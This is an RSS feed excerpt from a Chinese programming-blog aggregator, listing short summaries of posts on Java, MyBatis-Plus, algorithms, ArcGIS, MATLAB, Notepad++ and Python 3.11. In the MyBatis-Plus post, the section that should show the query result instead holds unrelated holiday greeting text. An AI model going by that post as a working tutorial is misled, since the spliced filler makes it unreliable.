      <description>个人学习笔记 不做交流 stdint.h 这里放着C语言的标准表达方式//第36行开始 typedef signed char int8_t; // 标准表达方式 signed char 被等同于 int8_t； typedef signed short int int16_t; typedef signed int int32_t;//在32位环境里，int代表4个字节32位！！ typedef signed __int64 int64_t; typedef unsigned char uint8_t; typedef unsigned short int uint16_t; typedef unsigned int uint32_t; typedef unsigned __int64 uint64_t; stm32f10x.h 这个文件主要是为了兼容旧版本吧 typedef uint32_t u32;///32位 typedef uint16_t u16;///16位 typedef uint8_t u8;///8位 STM32中数据类型定义 U8 U16 32解释说明</description>
    </item>
    <item>
      <title>Mybatis-Plus中getOne方法获取最新一条数据</title>
      <link>https://bchobby.github.io/posts/2939c46de5c46b6ba9d14573728dbb65/</link>
      <pubDate>Thu, 24 Nov 2022 16:38:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2939c46de5c46b6ba9d14573728dbb65/</guid>
      <description> Mybatis-Plus中getOne方法获取最新一条数据 一、代码1、Controller2、Service3、效果 一、代码 1、Controller @GetMapping(&#34;/queryNewProduct&#34;) public ProductDTO queryNewProduct(@RequestParam(&#34;type&#34;) String type) { return opProductService.queryNewProduct(type); } 2、Service @Override public ProductDTO queryNewProduct(String type) { //以下出现的第一个入参boolean condition表示该条件是否加入最后生成的sql中， // 例如：query.like(StringUtils.isNotBlank(name), Entity::getName, name) // .eq(age!=null &amp;amp;&amp;amp; age &amp;gt;= 0, Entity::getAge, age) OpProduct one = this.getOne(new LambdaQueryWrapper&amp;lt;OpProduct&amp;gt;() .eq(OpProduct::getType, type) .orderBy(true, false, OpProduct::getId) .last(&#34;limit 1&#34;) ); ProductDTO productDTO = BeanUtil.copyProperties(one, ProductDTO.class); return productDTO; } 3、效果 平平安安就是福，平平静静就是顺，平平稳稳就是赢，平平淡淡就是真，平平常常就是情，今天不平常，更显情，平安夜，愿朋友一生安康，快乐!秋风习习:秋天的风一阵一阵的吹过来。寒露说:“哈哈，我来了!”太阳说:“大家别慌，有我呢!”人们说:“虽有阳光，但还得加衣!”看来对寒露不能大意，立即送出祝福:愿你和亲友注意身体!然万物好像逝去了，但是，你瞧!那火红的枫叶在树枝上摇摆着，就像是一大群顽皮的孩子在手拉手一起跳着欢快的舞蹈呢。有些枫叶因跳舞不慎，从树枝上跌了下来，瞬间化作了一只只飞舞的蝴蝶，在空中飞来飞去。平安夜，报平安!今夜如果祥和的旋律从你的梦中流过，那么你要知道，那是我送给你我最真挚的祝福!祝你平安夜幸福，圣诞节快乐!不冷不热的天，不骄不躁的你，还有个没羞没躁的我，这一切在这秋日，都恰似刚好的完美。当人们想着如何度过一个快乐幸福的平安夜之际，我首先祝福我的父母——身体健康，每日每夜平安幸福!同时也祝福我的兄弟姐妹，出入平安，事业有成!寒气中弥漫着真情，露华里升腾起友情。在这个特别的日子，为你送上祝福，愿你平安在手好运常有。寒露快乐! </description>
    </item>
    <item>
      <title>手写instanceof</title>
      <link>https://bchobby.github.io/posts/f81ce78cfe01d2050c8566a6f76f5e9c/</link>
      <pubDate>Thu, 24 Nov 2022 16:18:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f81ce78cfe01d2050c8566a6f76f5e9c/</guid>
      <description> instanceof可以用来检测引用类型&#xA;检测基本数据类型较麻烦，需要准确对应相应的数据类型，否则无法正确检测&#xA;instanceof可以检测某个对象是不是另一个对象的实例；&#xA;它是原理是判断left的__proto__原型链是否在right的prototype上&#xA;// 声明myInstanceof函数,接受两个参数left, right function myInstanceOf(left, right) { // 1:声明rightval变量，来得到传入的对象的原型对象 let rightVal = right.prototype // 2:声明leftval变量，来得到传入的对象的原型对象 let leftVal = left.__proto__ // 3：循环遍历左边变量的原型链，查找，如果找不到就到一直循环到父类型或祖类型 while (true) { if (leftVal === null) { return false } if (leftVal === rightVal) { return true } leftVal = leftVal.__proto__ // 获取祖类型的__proto__ } } // 测试用例: function Test() { } let test = new Test(); console.log(myInstanceOf(test, Test));//true console.log(myInstanceOf(test, 2));//false </description>
    </item>
    <item>
      <title>栈和队列---</title>
      <link>https://bchobby.github.io/posts/ad2867894c80a14a59af90b8bb8fe768/</link>
      <pubDate>Thu, 24 Nov 2022 15:19:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ad2867894c80a14a59af90b8bb8fe768/</guid>
      <description>栈 栈的概念及结构 栈： 一种特殊的线性表，其只允许在固定的一端进行插入和删除元素操作。进行数据插入和删除 操作的一端 称为栈顶，另一端称为栈底。栈中的数据元素遵守 后进先出 LIFO（Last In First Out）的原则。 压栈：栈的插入操作叫做进栈/压栈/入栈，入数据在栈顶。 出栈：栈的删除操作叫做出栈。出数据也在栈顶。&#xA;栈的实现（动态） 首先，这是一个线性表实现的，所以我们有两个选择：顺序表，也就是数组实现；或者链表实现。&#xA;栈的实现 —— 数组好还是链表好？&#xA;其实我们栈的插入和删除相当于尾插尾删用数组的唯一缺陷就是不够的时候要增容 用单链表就不太好了：尾插尾删要找尾如果不找尾，用尾指针记录尾结点。但是即便这样，我们也要找到前一个，所以要不就使用双链表实现。如果一定想使用单链表，把把栈顶栈底反一下，用头插，不要用尾插即可 所以用单链表也是ok的&#xA;如果用尾作栈顶，那么用双链表好&#xA;如果要用单链表实现，那么就用让头作栈顶 总和各方面的要素，使用数组（顺序表）实现是最合适的。&#xA;队列 队列：只允许在一端进行插入数据操作，在另一端进行删除数据操作的特殊线性表，队列具有 先进先出 FIFO(First In First Out) 入队列：进行插入操作的一端称为 队尾 出队列：进行删除操作的一端称为 队头。只一端入数据，没必要用双向循环链表，使用单链表。&#xA;队列的应用场景 1、排队，保持绝对的公平性&#xA;2、广度优先遍历 BFS&#xA;———————————————— 版权声明：本文为CSDN博主「裙下的霸气」的原创文章，遵循CC 4.0 BY-SA版权协议，转载请附上原文出处链接及本声明。 原文链接：栈和队列_裙下的霸气的博客-CSDN博客————————————————</description>
    </item>
    <item>
      <title>简易计算器</title>
      <link>https://bchobby.github.io/posts/344cd1394f4032b733ede1c37ee05494/</link>
      <pubDate>Thu, 24 Nov 2022 13:59:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/344cd1394f4032b733ede1c37ee05494/</guid>
      <description>简易计算器设计。&#xA;输入格式: 输入两个非零整数，并在4 行中按顺序输出两个数的加、减、乘、除的计算结果。&#xA;输出格式: 要求输出格式如下，符号前后各有一个空格,具体参考输出样例‪‬‪‬‪‬‪‬‪‬‮‬‪‬‭‬‪‬‪‬‪‬‪‬‪‬‮‬‪‬‪‬‪‬‪‬‪‬‪‬‪‬‮‬‪‬‫‬‪‬‪‬‪‬‪‬‪‬‮‬‫‬‭‬‪‬‪‬‪‬‪‬‪‬‮‬‪‬‮‬：&#xA;整数1 + 整数2 = 和&#xA;整数1 - 整数2 = 差&#xA;整数1 * 整数2 = 积&#xA;整数1 / 整数2 = 商&#xA;输入样例: 在这里给出一组输入。例如：&#xA;1 2 输出样例: 在这里给出相应的输出。例如：&#xA;1 + 2 = 3 1 - 2 = -1 1 * 2 = 2 1 / 2 = 0.5 代码长度限制 16 KB&#xA;Python (python2)&#xA;时间限制 400 ms&#xA;内存限制 64 MB&#xA;Python (python3)&#xA;时间限制 400 ms&#xA;内存限制 64 MB</description>
    </item>
    <item>
      <title>基础算法-双指针算法</title>
      <link>https://bchobby.github.io/posts/73cdb273d25b3879157c4a9e54962c8e/</link>
      <pubDate>Thu, 24 Nov 2022 13:57:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/73cdb273d25b3879157c4a9e54962c8e/</guid>
      <description>一、双指针算法详解 1. 双指针算法介绍 双指针指的是在遍历对象的过程中，不是普通的使用单个指针进行访问，而是使用两个相同方向或者相反方向的指针进行扫描，从而达到相应的目的。在前文所介绍的快速排序和归并排序也是双指针算法的一种。每当遇到双指针问题时，都可以先通过暴力方法尝试解决问题，然后发现其中存在的一些性质，再用双指针算法进行优化。 2. 双指针算法常见套路 双指针的初始位置。根据双指针的分类，有两种可能。双指针的移动方法。根据双指针的分类，有两种可能。遍历的结束条件。根据双指针的分类，有两种可能。 3. 双指针算法作用 朴素算法每次在第二层遍历的时候，是会从新开始（ j 会回溯到初始位置），然后再遍历下去。（假设i是终点， j 是起点）双指针算法：由于具有某种单调性，每次在第二层遍历的时候，不需要回溯到初始位置（单调性），而是在满足要求的位置继续走下去或者更新掉。因此，双指针算法主要起优化的功能，例如当我们使用朴素方法即暴力枚举每一个可能的情况时，时间复杂度为 O(n*n) 。&#xA;此时，我们使用双指针算法利用就可以将 O(n*n) 优化为 O(n) 。&#xA;4. 具体应用 4.1 数组里的双指针 用暴力解法一定可解，双重循环得出结果。使用双指针的方法，可以借助一个额外变量，实现降维优化。&#xA;（1）相反方向运动 两个指针在数组的头和尾，都往中间移动，直到相遇。两个指针在数组的中间，往数组的两端移动，直到到达边界。每次循环时，我们值比较当前的两个元素，在这两个元素当中，求出对应的结果。 （2）相同方向运动 两个指针均在数组的一端，都往另一端移动，直到满足条件为止。两个指针的移动速度不同，类似于滑动窗口问题，快指针一直往前遍历，走到尾部则循环结束，慢指针视条件进行移动。每次循环时，看子区间是否满足某个条件，子区间是由双指针框起来， 输出的是子区间的变形。 4.2 双指针算法与前缀和 二者均是对子区间进行操作，因此有一定的结合可能。前缀和是需要用到子区间和时，通过借助一个数组，去存储前缀和。 4.3 链表里的双指针 以快慢指针为主，快指针一次 2 步，慢指针一次 1 步等等。典型例题：在链表当中找一个环，有环的话，快慢指针必定会相遇，若无环的话，则快指针就直接走到结尾。 5. 举例说明 关于具体算法应用大家可以看我的快速排序和归并排序，都是非常典型的双指针问题。&#xA;快速排序归并排序 二、双指针算法例题 1. 最长连续不重复子序列 题目描述 给定一个长度为 n 的整数序列，请找出最长的不包含重复的数的连续区间，输出它的长度。&#xA;输入格式 输入共两行。&#xA;第一行包含整数 n。&#xA;第二行包含 n 个整数（均在 0∼1e5 范围内），表示整数序列。&#xA;输出格式 共一行，包含一个整数，表示最长的不包含重复的数的连续区间的长度。&#xA;数据范围 1≤n≤100000&#xA;输入样例 5&#xA;1 2 2 3 5</description>
    </item>
    <item>
      <title>Java高级阶段考试题库</title>
      <link>https://bchobby.github.io/posts/98bf03b862b24993dbb20469cb5477f6/</link>
      <pubDate>Thu, 24 Nov 2022 13:31:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98bf03b862b24993dbb20469cb5477f6/</guid>
      <description>Java高级阶段考试题库 1.Maven中A依赖B，B依赖C，那么A可以使用C中的类吗？ 答案：&#xA;此时要看B依赖C时的范围（scope),如果是compile范围则A可以使用C,如果test或provided范围则A不能使用C.&#xA;2.SpringBoot中有一个类标记了@Controller注解，现在想要通过自动包扫描机制把这个类的对象加入IOC容器，那么这个类应该放在拿？ 答案：&#xA;方案A：将标记了@Controller注解的类放在主启动类所在包的子包下。&#xA;方案B：在主启动类上使用@ComponentScan注解&#xA;3.Git 在向远程origin推送dev分支的代码时失败，需要解决冲突，如何操作 答案：&#xA;（1）先运行 git pull orgin dev&#xA;（2）发现有冲突后，修改冲突文件&#xA;（3）运行git add 文件名；git commit “注释”&#xA;（4）运行git push origin dev&#xA;4.下面依赖信息对应的jar包在Maven仓库根目录下的路径是什么？ &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.commons&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;commons-lang3&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.1&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 答案：Maven本地库根目录/org/apache/commons/commons-lang3/3.1/commons-lang3-3.1.jar&#xA;5.项目的单一架构和分布式架构有什么本质区别？ 答案：&#xA;单一架构应用打包后是一个war包，在一个台Tomcat上运行。分布式架构应用打包后有很多的war包，分别在不同Tomcat上运行。&#xA;6.分布式架构有什么好处？ 答案：&#xA;1.模块化、组件化程度高。项目容易开发、维护、分工。&#xA;2.高内聚、低耦合&#xA;3.既可以单独部署到Tomcat上，又可以将某一组件配置集群。所以分布式架构可以提升性能。&#xA;7.分布式和集群这两个概念有什么区别？ 答案：&#xA;分布式系统在多台服务器上运行不同模块，集群在多台服务器上运行相同模块。&#xA;8.什么是方法的远程调用？ 答案：&#xA;服务提供方将方法暴露在网络上，消费方通过网络调用目标方法。这个过程中底层需要消费方发送请求，接收响应。&#xA;9.在分布式架构应用中注册中心起到了什么作用？ 答案：&#xA;注册中心中存储服务提供方所暴露的服务的详细信息，借助注册中心中存储的信息就能通过远程方法调用框架实现声明式调用（像调用本地方法一样调用远程方法）。&#xA;10.你如何理解负载均衡？ 答案：&#xA;在负载沉重时由多台服务器分担负载。具体工作时由负载均衡服务器基于特定算法将每一个具体请求分配到具体服务器上。&#xA;11.Redis有哪些常用的数据类型？ 答案：&#xA;string、list、set、hash、zset&#xA;12.在Linux中如何通过命令查看指定进程信息？（比如查看mysql进程） 答案：&#xA;ps -ef | grep mysql&#xA;13.Redis是单线程还是多线程？为什么能支持访问量和高并发？ 答案：&#xA;单线程&#xA;1）完全基于内存，绝大部分请求为纯内存操作，非常快速。数据存在内存中，类似于HashMap，HashMap的优势就是查找和操作的时间复杂度 都是O(1)&#xA;2)采用单线程，避免了不必要的上下文切换和竞争条件，也不存在多进程或者多进程导致的切换二小号CPU,不用考虑各种锁的问题，不存在加锁和放锁操作，没有因为可能出现死锁而导致的性能消耗。</description>
    </item>
    <item>
      <title>【Arcgis for js api 4.22本地部署详细指南】</title>
      <link>https://bchobby.github.io/posts/c28f351e420d626a90c0635d7fb4ca91/</link>
      <pubDate>Thu, 24 Nov 2022 12:51:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c28f351e420d626a90c0635d7fb4ca91/</guid>
      <description>Arcgis for js api 4.22本地部署详细指南 目录​​​​​​​&#xA;1.在Arcgis for js api官网下载Arcgis for js api 4.22压缩包&#xA;2.解压刚下载的Arcgis for js api 4.22压缩包&#xA;3.解压后的文件&#xA;​4.把解压后的文件夹放到iis服务器的C:\inetpub\wwwroot目录下&#xA;​5.进入arcgis_js_v422_api文件夹，把install.html重命名为index.html&#xA;​6.在iis上新建网站，配置如图所示：&#xA;​7.打开iis的默认文档配置，把index.html上移到第一位置&#xA;​8.配置默认文档如图所示：&#xA;​9.重启网站，预览arcgis_js_v422_api 安装文档页面&#xA;​10.浏览器打开arcgis_js_v422_api 安装文档页面&#xA;11.打开iis服务器HTTP响应标头配置&#xA;​12.iis服务器HTTP响应标头配置如图所示：添加如下配置信息：&#xA;13.浏览器预览C:\inetpub\wwwroot\arcgis_js_v422_api\arcgis_js_api\javascript\4.22\init.js目录下的init.js文件，浏览器访问地址为：http://localhost:8899/arcgis_js_api/javascript/4.22/init.js​编辑14.在代码中测试刚在iis服务器上配置的Arcgis for js api​编辑&#xA;15.测试页面效果如图：&#xA;16.打开浏览器控制台查看&#xA;注意：Arcgis for js api 4.22本地部署，不用修改init.js和dojo.js中的[HOSTNAME_AND_PATH_TO_JSAPI]，直接发布即可！&#xA;1.在Arcgis for js api官网下载Arcgis for js api 4.22压缩包 2.解压刚下载的Arcgis for js api 4.22压缩包 3.解压后的文件 4.把解压后的文件夹放到iis服务器的C:\inetpub\wwwroot目录下 5.进入arcgis_js_v422_api文件夹，把install.html重命名为index.html 6.在iis上新建网站，配置如图所示： 7.打开iis的默认文档配置，把index.html上移到第一位置 8.配置默认文档如图所示： 9.重启网站，预览arcgis_js_v422_api 安装文档页面 10.浏览器打开arcgis_js_v422_api 安装文档页面 11.打开iis服务器HTTP响应标头配置 12.iis服务器HTTP响应标头配置如图所示：&#xA;添加如下配置信息： 1.Access-Control-Allow-Methods : GET,POST,PUT,DELETE,HEAD,OPTIONS</description>
    </item>
    <item>
      <title>Java下载文件的四种方式详细代码</title>
      <link>https://bchobby.github.io/posts/b85d4a509c888586a372121e7feac933/</link>
      <pubDate>Thu, 24 Nov 2022 11:15:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b85d4a509c888586a372121e7feac933/</guid>
      <description>第一种：以流的方式下载 public HttpServletResponse download(String path, HttpServletResponse response) { try { // path是指欲下载的文件的路径。 File file = new File(path); // 取得文件名。 String filename = file.getName(); // 取得文件的后缀名。 String ext = filename.substring(filename.lastIndexOf(&#34;.&#34;) + 1).toUpperCase(); // 以流的形式下载文件。 InputStream fis = new BufferedInputStream(new FileInputStream(path)); byte[] buffer = new byte[fis.available()]; fis.read(buffer); fis.close(); // 清空response response.reset(); // 设置response的Header response.addHeader(&#34;Content-Disposition&#34;, &#34;attachment;filename=&#34; + new String(filename.getBytes())); response.addHeader(&#34;Content-Length&#34;, &#34;&#34; + file.length()); OutputStream toClient = new BufferedOutputStream(response.getOutputStream()); response.setContentType(&#34;application/octet-stream&#34;); toClient.write(buffer); toClient.flush(); toClient.close(); } catch (IOException ex) { ex.</description>
    </item>
    <item>
      <title>怎么可以在电脑上录屏</title>
      <link>https://bchobby.github.io/posts/f63e79b7c6c3f1a1301925e9ac994196/</link>
      <pubDate>Thu, 24 Nov 2022 10:45:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f63e79b7c6c3f1a1301925e9ac994196/</guid>
      <description>不管是在学校还是在职场的小伙伴应该都接触过使用录屏吧？当需要做一些操作演示分享或者游戏高光时刻或者一些线上会议基本都会需要录屏。不管是后面用来剪辑发布还是分享给别人学习都需要先进行录屏才可以，那么有些小伙伴们就不太熟悉该怎么来操作，那么怎么可以在电脑上录屏呢？今天就分享两个好用的录屏方法。&#xA;方法一：使用聊天工具录屏&#xA;提到截图肯定小伙伴都使用过QQ自带的截屏功能，简单又好用功能还丰富，但是很多小伙伴未必知道QQ其实还有录屏的功能。QQ录屏操作步骤是Ctrl键+Alt键+S键。在登录QQ的状态下点击这个快捷操作就能拉起QQ截图的功能了，我们可以选中需要录制的范围，接着点击工作框中的录制即可开始录屏。&#xA;方法二：使用录屏工具录屏&#xA;①.今天就分享一款比较好用的录屏工具，打开这款录屏工具进入界面后，在左侧先选择需要【全屏录制】还是【区域录制】，如果需要录制区域的话在点击后可以自由拉取录屏的范围。&#xA;②.设置好录屏的范围后，点击【设置】按钮，在【录制】处选择是否需要录制时隐藏录屏操作界面以及是否需要录制鼠标按键的轨迹，设置完成后点击右下角的【确定】按钮。&#xA;③.设置好录制属性后，回到录制操作页面，设置是否需要开启摄像头以及录制声音的选择，完成之后点击圆形录制按钮或者点击小状态栏中的【开始录制】就可以了。&#xA;以上内容就是对怎么可以在电脑上录屏的两种方法分享，小伙伴们不管是在打游戏或者会议以及其他需要进行录屏操作的时候都可以尝试一下这些方法哦。</description>
    </item>
    <item>
      <title>使用EasyExcel完成导出导入功能</title>
      <link>https://bchobby.github.io/posts/e05391c01478349b521626ca64b15e80/</link>
      <pubDate>Thu, 24 Nov 2022 10:32:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e05391c01478349b521626ca64b15e80/</guid>
      <description>前言&#xA;最近的项目中模块需要用到Excel的导入,在同事的建议下选择了EasyExcel。看了一下EasyExcel的介绍,其是一个基于Java的、快速、简洁、解决大文件内存溢出的Excel处理工具。那废话不多说,直接上手试试,用代码试试EasyExcel是否真的那么好用。&#xA;一.主要实现步骤 1.@ExcelProperty注解 我们需要导入的类的字段需要用到注解@ExcelProperty(&#34;列名&#34;),这里特别注意的是一定得跟对应的导入模板里的表头保持一致,不然导入的时候匹配不上。&#xA;//导出导入类使用注解 @ExcelProperty(&#34;表头对应的中文列名&#34;) private String data; 复制代码 2.导入模板 public void exportTemplate(HttpServletResponse response, HttpServletRequest request) throws UnsupportedEncodingException { DateFormat dateFormat = new SimpleDateFormat(&#34;yyyy-MM-dd&#34;); String fileName=&#34;数据模板&#34;; fileName = URLEncoder.encode(fileName, &#34;UTF-8&#34;); fileName = new String(fileName.getBytes(&#34;utf-8&#34;),&#34;ISO-8859-1&#34;); String filePath = new ClassPathResource(&#34;docs/other/&#34;.concat(fileName).concat(dateFormat.format(new Date())).concat(&#34;.xlsx&#34;)).getPath(); //导出模板表头 List&amp;lt;String&amp;gt; headers = Arrays.asList(&#34;列名&#34;); List list = new ArrayList(); PoiUtil.exportTemplateData(filePath,headers,list); //获取文件流返回给客户端 DownloadFileUtil.downloadFile(response, request, filePath); } 复制代码 //构造模板基础数据,比如下拉列表及其校验规则 public static void exportTemplateData(String filePath, List&amp;lt;String&amp;gt; headers, List list) { //证件类型 下拉 List&amp;lt;String&amp;gt; certificationTypeAttributeList = new ArrayList&amp;lt;String&amp;gt;(); certificationTypeAttributeList.</description>
    </item>
    <item>
      <title>几种常见的长连接实现方案</title>
      <link>https://bchobby.github.io/posts/03b2a110cd5ec46992005e2904597ef6/</link>
      <pubDate>Thu, 24 Nov 2022 10:28:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/03b2a110cd5ec46992005e2904597ef6/</guid>
      <description>一、什么是长连接？ 长连接可以指 HTTP 持久连接 (persistent connection)，也可以指基于 TCP / UDP / QUIC / WebSocket 等一个或多个协议建立后可以持续收发消息的数据通路。本文主要介绍的是后者，其中以微信2017年初开源的 Mars 被大家熟知。从 Mars 的 issue 中我们可以看到 Longlink 这个国内长连接的直译，目前还没有特别好的英文术语。实际上 Mars 只是长链接架构中的客户端，还需要一个服务端来配合。&#xA;二、国内长连接现状 目前国内的大厂基本上都有自己的网关团队，长连接服务是网关中的子服务，客户端团队负责端上的网络库（如 Mars），网关相关的公开资料可以查询到的如阿里的 ACCS ，美团的 Shark 等&#xA;提供了诸如 消息推送，消息广播，多协议切换，HTTP代理，多接入点容灾等功能。可覆盖 即时通讯，弹幕，互动游戏，竞拍等多个业务。&#xA;三、长连接解决的问题 总的来说主要解决的数据实效性的问题：&#xA;1、数据推送 最常见的案例就是消息通知。&#xA;最简单的做法是启动一个计时器，周期性轮询（polling ）一个接口。这种方案常见于早期基于浏览器的项目。坏处是间隔设置的太长用户体验不好，设置间隔太短后端服务会进行大量的无效查询。&#xA;稍好一点的做法是使用长轮询（long polling）,发送 HTTP 请求后，如果没有新数据，服务端就一直不返回 HTTP 的 response。这种方式减少了大量无效的查询，但是如果新数据频繁，会进行大量的连接建立和关闭。常见于早期浏览器 WebSocket 协议支持不完整的时候。&#xA;目前主流的方案是浏览器基于 WebSocket，移动端基于 TCP / UDP/ QUIC 的全双工数据通道的方案。一次连接建立，服务端维护连接和业务的对应关系（如用户id），当用户有新数据时，找到对应的连接，将数据发送出去，浏览器或者移动端就可以立刻收到消息，返回给上层。&#xA;可以推测手机厂商给 APP 提供的离线消息推送的通道，如果想做到最好的实时性，也需要维护一个手机和厂商服务的连接，在 APP 后端发送推送后，厂商转发给手机，展示给用户。&#xA;2、请求优化 大多数业务的API请求还是基于 HTTP(S) 的，在大多数情况下，国内网络质量良好。少部分的网络优化场景可以代理 HTTP(S) 的请求将会是更具有性价比的方案。&#xA;常见的方案是移动端的网络库代码中，添加一个拦截逻辑，把请求的参数重新封装成底层报文，通过全双工的数据通路发送给网关，网关组装成 HTTP 的请求，在内网发送给对应的业务服务器，再把返回封装后发送给对应的数据通道。</description>
    </item>
    <item>
      <title>Word处理控件Aspose.Words功能演示：使用 Java 将文本转换为 PDF</title>
      <link>https://bchobby.github.io/posts/342920937a6b44c79ec304e317574576/</link>
      <pubDate>Thu, 24 Nov 2022 10:18:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/342920937a6b44c79ec304e317574576/</guid>
      <description>TXT格式的文本文档包含行形式的纯文本。TXT 文件是存储没有任何格式的纯文本的最简单和最简单的方法。我们可以在任何文本编辑器或文字处理应用程序中轻松创建、打开和编辑 TXT 文件。在某些情况下，我们可能需要将文本转换为只读格式，例如PDF。在本文中，我们将学习如何使用 Java 以编程方式将文本转换为 PDF。&#xA;Aspose.Words for . java 最新下载（qun：761297826）https://www.evget.com/product/564/download&#xA;文本到 PDF 转换器 - Java API&#xA;为了将文本转换为 PDF，我们将使用Aspose.Words for Java API。它允许创建和操作 MS Word 文档。此外，它还允许您将 MS Word 和文本文档转换为各种其他文件格式。&#xA;API的Document类表示以定义格式加载的文档。它是包含文档所有其他节点的树的根节点。该类的 save() 方法以指定的文件格式保存文档。API的TxtLoadOptions类允许在将文本文档加载到 Document 对象时指定其他选项。&#xA;请下载API 的 JAR 或在基于 Maven 的 Java 应用程序中添加以下 pom.xml 配置。&#xA;&amp;lt;repository&amp;gt; &amp;lt;id&amp;gt;AsposeJavaAPI&amp;lt;/id&amp;gt; &amp;lt;name&amp;gt;Aspose Java API&amp;lt;/name&amp;gt; &amp;lt;url&amp;gt;https://repository.aspose.com/repo/&amp;lt;/url&amp;gt; &amp;lt;/repository&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;com.aspose&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;aspose-words&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;22.5&amp;lt;/version&amp;gt; &amp;lt;type&amp;gt;pom&amp;lt;/type&amp;gt; &amp;lt;/dependency&amp;gt; 在 Java 中将文本转换为 PDF&#xA;我们可以按照以下步骤将任何文本文档转换为 PDF 文件：&#xA;使用Document类加载文本文件。使用Document.save()方法另存为 PDF 。它将输出文件路径作为参数。 在 Java 中修剪空格并将文本转换为 PDF</description>
    </item>
    <item>
      <title>二、Notepad&#43;&#43; 配置C\C&#43;&#43;运行</title>
      <link>https://bchobby.github.io/posts/fa27d74430b912e1fc9fedc0f283f02d/</link>
      <pubDate>Wed, 23 Nov 2022 21:31:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa27d74430b912e1fc9fedc0f283f02d/</guid>
      <description> 1. 更改中文 【seeting】-&amp;gt; 【apparence】-&amp;gt; 【简体中文】&#xA;1.安装插件“NppExec” 1））【插件】——&amp;gt;【plugin manager】——&amp;gt;【show plugin manager】 如下图所示：&#xA;2））【NppExec】——&amp;gt;【install】&#xA;3 下载编译和运行软件gcc和g++，免安装MinGW， 64bit 免安装下载 MinGW-w64官方网站首页:&#xA;https://www.mingw-w64.org/&#xA;百度网盘下载链接&#xA;参考：https://blog.csdn.net/XQC_KKK/article/details/124611111&#xA;环境配置 参考：&#xA;https://www2.jianshu.com/p/9617c942f9d7&#xA;https://blog.csdn.net/Javin_L/article/details/83928072&#xA;运行命令：&#xA;cmd /k gcc &#34;$(FULL_CURRENT_PATH)&#34; -o &#34;$(CURRENT_DIRECTORY)\$(NAME_PART).exe&#34; &amp;amp;PAUSE &amp;amp;&#34;$(CURRENT_DIRECTORY)\$(NAME_PART).exe&#34; &amp;amp; PAUSE &amp;amp; EXIT </description>
    </item>
    <item>
      <title>matlab常用代码（读取文件、批量导入数据、与或非）</title>
      <link>https://bchobby.github.io/posts/832e9c254b89fe4509bbf48ec2811028/</link>
      <pubDate>Wed, 23 Nov 2022 20:44:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/832e9c254b89fe4509bbf48ec2811028/</guid>
      <description>学习matlab使用过程中遇到的各种常见小操作，放在这里权当记录，持续更新中。包括批量导入数据、读取/写入不同类型的文件、与或非、cell、randperm的使用等&#xA;一、常见函数或小技巧 1. 记录程序运行时间： 函数tic、toc。 tic放在要记录时间的程序的开头，toc放在末尾&#xA;2. 常见函数 1) mean用法：&#xA;默认是对每一列求平均值，mean(x,2)是对每一行求平均值。很多函数都是同理，size(x,1)就是求矩阵x的行数，size(x,2)就是求列数；在一个数据文件中，提取矩阵第一列是 x(:,1)，提取第一行x(1,:); sum(x,1) 将矩阵按列求和，sum(x,2) 按行求和&#xA;2) ceil：朝正无穷大四舍五入 round(x) ：将 x 的每个元素四舍五入为最近的整数。&#xA;&amp;gt;&amp;gt; ceil(2.5) ans = 3 3) flipud：实现矩阵的上下翻转&#xA;如果 A 是一个列向量，则 flipud(A) 返回一个相同长度的向量，其元素的顺序颠倒。如果 A 是一个行向量，则 flipud(A) 只返回 A。&#xA;&amp;gt;&amp;gt; A=(1:3)&#39; &amp;gt;&amp;gt; B = flipud(A) B = 3 2 1 fliplr 沿垂轴翻转矩阵 transpose 沿主对角线翻转矩阵&#xA;4) horcat 和vercat horcat(A,B) % 水平串联数组，即X=[A,B]，等同于cat(1,A,B) vercat(A,B) % 垂直聚合数组, 即X=[A;B]，等同于cat(2,A,B) 5) qr 矩阵正交分解 6) snapnow 拍摄最近生成的图像或绘图的快照，以包括在发布文件中。快照显示在包含 snapnow 命令的代码节的末尾。</description>
    </item>
    <item>
      <title>万万没想到，除了香农计划，Python3.11竟还有这么多性能提升！</title>
      <link>https://bchobby.github.io/posts/b9ca510cdc7ebd46dd921a0075336406/</link>
      <pubDate>Wed, 23 Nov 2022 20:41:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b9ca510cdc7ebd46dd921a0075336406/</guid>
      <description>众所周知，Python 3.11 版本带来了较大的性能提升，但是，它具体在哪些方面上得到了优化呢？除了著名的“香农计划”外，它还包含哪些与性能相关的优化呢？本文将带你一探究竟！&#xA;作者：Beshr Kayali&#xA;译者：豌豆花下猫@Python猫&#xA;英文：https://log.beshr.com/python-311-speedup-part-1&#xA;转载请保留作者及译者信息！&#xA;Python 3.11 在几天前发布了，它照例带来了很多新特性，例如异常组、细粒度的错误位置与堆栈回溯、标准库对 TOML 的解析支持，当然，还有备受大家期待的由 faster CPython 项目带来的速度提升。&#xA;根据 pyperformance 的基准测试，CPython 3.11 比 CPython 3.10 平均快 25%。这项改进的原因之一是 Guido 命名的“香农计划”（即 faster CPython）。对于 3.11 版本，这个计划在两个主要方向进行了大量优化：启动时和运行时。&#xA;除此之外，Python 3.11 还包含有其它的优化，这些优化不属于香农计划。&#xA;在本文中，我将详细介绍 3.11.0 稳定版中常规优化的细节（即非 faster CPython 项目的改进）。&#xA;（译注：作者表示将另写一篇文章介绍 faster CPython 